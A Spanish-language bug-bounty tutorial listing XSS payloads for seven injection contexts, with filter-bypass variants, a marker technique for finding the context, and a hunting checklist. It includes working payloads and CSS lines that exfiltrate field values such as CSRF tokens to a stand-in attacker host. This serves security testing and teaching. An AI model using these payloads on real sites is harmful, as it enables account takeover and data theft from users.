Respuesta rápida
Un payload XSS solo funciona si escapa el contexto donde aterriza tu input. Inyectar <script> dentro de un atributo value="" no ejecuta — necesitas cerrar la comilla primero. La metodología que escala: inyecta un marker único (zzaazz), localiza el marker en el DOM, identifica el contexto exacto (HTML body / atributo / JS string / JS event / URL / CSS / JSON) y aplica el payload mínimo que escape ese contexto. Sin teoría — solo seven contextos, siete payloads.
Los 7 contextos donde aterriza tu input
| # | Contexto | Cómo aparece tu input | Escape mínimo |
|---|---|---|---|
| 1 | HTML body | <div>INPUT</div> | <svg onload=alert(1)> |
| 2 | Atributo HTML | <input value="INPUT"> | "><svg onload=alert(1)> |
| 3 | JS string | var x = "INPUT"; | ";alert(1);// |
| 4 | JS event handler | onclick="foo('INPUT')" | ');alert(1);// |
| 5 | URL (href/src) | <a href="INPUT"> | javascript:alert(1) |
| 6 | CSS | <style>color:INPUT</style> | red;}*{background:url(//evil)} |
| 7 | JSON embed | <script>var d={"x":"INPUT"}</script> | "};alert(1);// |
Inyecta zzaazz<>"' y busca en la respuesta cómo aparece — eso determina el contexto.
Contexto 1 — HTML body
Tu input cae entre tags. Cualquier tag con event handler funciona; <script> solo si la página no es parseada como <noscript>/textarea.
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<input autofocus onfocus=alert(1)>
Si solo se filtran < y > pero no entidades — codifica con entidades HTML:
<img src=x onerror=alert(1)> ← NO ejecuta (parseado como texto)
<img src=x onerror=alert(1)> ← SÍ ejecuta (entidad dentro de atributo)
[!tip] Test rápido del contexto HTML Inyecta
<u>xy mira si aparece subrayado en el render — confirma que parseaste como HTML.
Contexto 2 — Atributo HTML
Tu input cae dentro de un atributo. Dos sub-casos: con comillas o sin comillas.
Con comillas
<input value="INPUT"> → cierra comilla + tag
"><svg onload=alert(1)>
"><img src onerror=alert(1)>
Sin comillas (más raro pero más permisivo)
<input value=INPUT> → espacio basta para nuevo atributo
x onfocus=alert(1) autofocus
Cuando > está filtrado pero el atributo es un event handler
Si tu input cae directamente en onclick="...", no necesitas escapar el tag:
<button onclick="doStuff('INPUT')"> → ');alert(1);//
accesskey trick para input hidden / meta
/?lol=h0tak88r' accesskey='x' onclick='alert(0)'
La víctima debe pulsar ALT+SHIFT+X (Chrome/Edge). Útil cuando solo controlas un <input type=hidden> o <meta>.
Popover API (Chrome 2023+) — bypass de filtros que no conocen onbeforetoggle
<input type="hidden" value="x" popover id="newsletter" onbeforetoggle=alert(1)>
<meta name="x" content="y" popover id="newsletter" onbeforetoggle=alert(1)>
Requisito: la página ya tiene un <button popovertarget="newsletter">. Si tu inyección aparece antes en el DOM, el browser dispara onbeforetoggle en tu elemento.
Contexto 3 — JS string
Tu input cae dentro de comillas en un bloque <script>. Cierra la comilla y mete tu código.
<script>
var nombre = "INPUT"; → ";alert(1);//
";alert(document.domain);//
var nombre = 'INPUT'; → ';alert(1);//
</script>
Cuando solo escapan " con \ pero no \ mismo
INPUT = \";alert(1);//
Si la app convierte " en \", tu \ queda como \\ y el " siguiente cierra la string:
\\\";alert(1);//
Backticks (template literals)
var html = `<div>INPUT</div>`; → ${alert(1)}
`;alert(1);//
Contexto 4 — JS event handler
Tu input cae dentro de un atributo event handler. Esto es HTML + JS combinados — tienes dos capas para escapar.
<a onclick="goTo('INPUT')"> → ');alert(1);//
<button onclick="alert('INPUT')"> → ');alert(1);//
Si las comillas se escapan a ' o ', el parser HTML las decodifica antes de pasarlas a JS — la comilla decodificada cierra el string igual.
<a onclick="goTo('INPUT')"> → ');alert(1);//
[!warning] Doble decodificación Los event handlers pasan por HTML decoder primero, luego JS parser.
');alert(1);//se decodifica a');alert(1);//antes de ejecutar — sirve para bypass de filtros que solo buscan caracteres literales.
Contexto 5 — URL (href, src, action)
Tu input cae como una URL. El payload clásico:
javascript:alert(1)
javascript:alert(document.domain)
data:text/html,<script>alert(1)</script>
Bypass de filtros que bloquean javascript:
JaVaScRiPt:alert(1) ← case
java\tscript:alert(1) ← tab (\t)
java	script:alert(1) ← tab entity
java	script:alert(1) ← named entity
java%09script:alert(1) ← URL-encoded
\j\a\v\a\s\c\r\i\p\t:alert(1) ← backslash escapes (algunos parsers)
Markdown link injection
[click](javascript:alert(1))
[click](j a v a s c r i p t:alert(1))
[click](javascript:window.onerror=alert;throw%201)
Útil en apps que renderizan markdown sin sanitizar URLs (issue trackers, READMEs, comentarios).
[!info] Frameworks modernos cubren esto parcialmente React v19 bloquea
javascript:enhrefy<object>automáticamente. Perowindow.open(userInput)ylocation.href = userInputno están cubiertos — siguen siendo XSS frecuentes en redirects post-login.
Contexto 6 — CSS
Tu input cae dentro de un bloque <style> o atributo style. CSS no ejecuta JS directamente (desde IE eliminó expression()) pero permite exfiltración de datos:
<style>
.user-INPUT { background: red; }
→ x;}*{background:url("//attacker.tld/?c="attr(value));}
</style>
Exfil via attribute selector
input[value^="a"] { background: url(//attacker.tld/a); }
input[value^="b"] { background: url(//attacker.tld/b); }
/* ... */
Cada letra del valor de un campo se exfiltra a tu collaborator. Útil contra CSRF tokens o passwords pre-rellenados.
Import de stylesheet externa
@import url("//attacker.tld/exfil.css");
Contexto 7 — JSON embed
App genera JSON inline dentro de un <script>:
<script>
var data = {"username":"INPUT"};
</script>
→ "};alert(1);//
→ </script><script>alert(1)</script>
Cuando < está escapado pero / no
</script> puede romperse aunque <script> esté filtrado: el HTML parser termina el bloque <script> cuando ve </script> literalmente — tu JSON ya está cerrado.
"INPUT": "</script><img src=x onerror=alert(1)>"
Identificación rápida con marker
Inyecta un marker y observa cómo aparece. Una sola request te da el contexto:
INPUT = zzaa<u>"'</u>zz</textarea>'/zz
Busca zzaa en la respuesta:
| Aparece | Contexto |
|---|---|
<u> renderiza | HTML body |
<u> (escaped) y dentro de <input value="..."> | Atributo HTML |
Dentro de <script>...zzaa..."...zz</script> | JS string |
Dentro de onclick="...zzaa..." | JS event |
Dentro de <a href="...zzaa..."> | URL |
Dentro de <style>...zzaa...</style> | CSS |
Dentro de <script>var x = {...zzaa...}</script> | JSON embed |
Hunting checklist
- Inyecta marker único (
zzaazz<>"') y localiza en respuesta. - Identifica contexto exacto antes de tirar payloads agresivos.
- Atributos: prueba con y sin cierre de comilla. Sin comilla solo requiere espacio.
- JS string: prueba
",', backtick,</script>. - URL sinks: siempre prueba
javascript:+ variantes case/tab/entity. - Markdown: prueba
[x](javascript:alert(1))en cualquier campo que renderice markdown. - Atributos hidden/meta: prueba
accesskey+popover onbeforetoggle. - CSS: si solo controlas styles, exfil con
attribute selector+ collaborator. - JSON embed: prueba romper con
</script>aunque parezca escapado. - Documenta el payload mínimo — escala bounty cuando es one-shot.
Labs relacionados
Practica detección de contexto en 8 apps reales con sinks diferentes en labs de XSS.
Practica esto en un lab
Xss Context Finder
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
El cheatsheet completo de 47 payloads por contexto + el script que detecta tu contexto automáticamente.
5 €/mes · cancela cuando quieras
Artículos relacionados
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
SQL Injection — metodología completa con time-based, UNION y RCE
Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.